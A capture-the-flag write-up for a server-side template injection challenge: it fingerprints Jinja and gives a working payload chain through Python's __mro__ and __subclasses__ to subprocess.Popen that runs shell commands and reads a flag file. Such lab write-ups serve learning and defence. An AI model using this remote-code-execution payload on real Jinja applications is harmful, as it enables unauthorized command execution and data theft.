Server-Side Template Injection (SSTI1)
Research
What is SSTI?
- Server-Side Template Injection occurs when an attacker can inject malicious input into a server-side template.
- A server-side template is a file used by a web application to generate dynamic content on the server (like the blueprint of the web app).
Common Server-Side Template Engines
- Python: Jinja, Django
- PHP: Twig, Blade
- Java: FreeMarker, Thymeleaf
- Ruby: ERB
- Javascript: EJS
Information Gathering
Start by determining if the application evaluates template expressions from user input, and then identify the specific template engine in use.
{{7*7}}49Reason: This confirms the vulnerability and rules out engines that do not use `{{...}}` syntax. It likely points to Jinja or Twig.
{{7*'7'}}7777777Reason: If it were Twig, it would output 49. The output `7777777` confirms Python is evaluating the expression, meaning the engine is Jinja. Running `{{self.__class__}}` verifies this by outputting
`<class 'jinja2.runtime.TemplateReference'>` .
Creating the Payload
The goal is to escape the sandbox by traversing Python's Method Resolution Order (MRO) to find a class that allows executing OS commands.
{{''.__class__.__mro__[1]}}<class 'object'>Reason: Starting with an empty string `''`, we access its class `str`, then its MRO tuple, and grab the base `object` class at index 1.
{{''.__class__.__mro__[1].__subclasses__()}}[... list of classes ...]Reason: We display all classes that inherit from `object`. We are looking for classes in `os` or `subprocess` modules. We find `subprocess.Popen` at index 356.
{{''.__class__.__mro__[1].__subclasses__()[356](['ls'], shell=True, stdout=-1).communicate()}}(b'__pycache__\napp.py\nflag\nrequirements.txt\n', None)Reason: We instantiate `subprocess.Popen` to run the `ls` command. We see a file named `flag` in the output directory list.
{{''.__class__.__mro__[1].__subclasses__()[356](['cat flag'], shell=True, stdout=-1).communicate()}}[Flag Content]Reason: Running the `cat flag` command through the Popen shell allows us to read the flag and solve the puzzle.
Key Takeaways
- Never pass unsanitized user input directly to a template engine's rendering context.
- Python's class inheritance hierarchy (`__mro__`, `__subclasses__`) allows powerful sandbox escapes if remote code execution is achieved.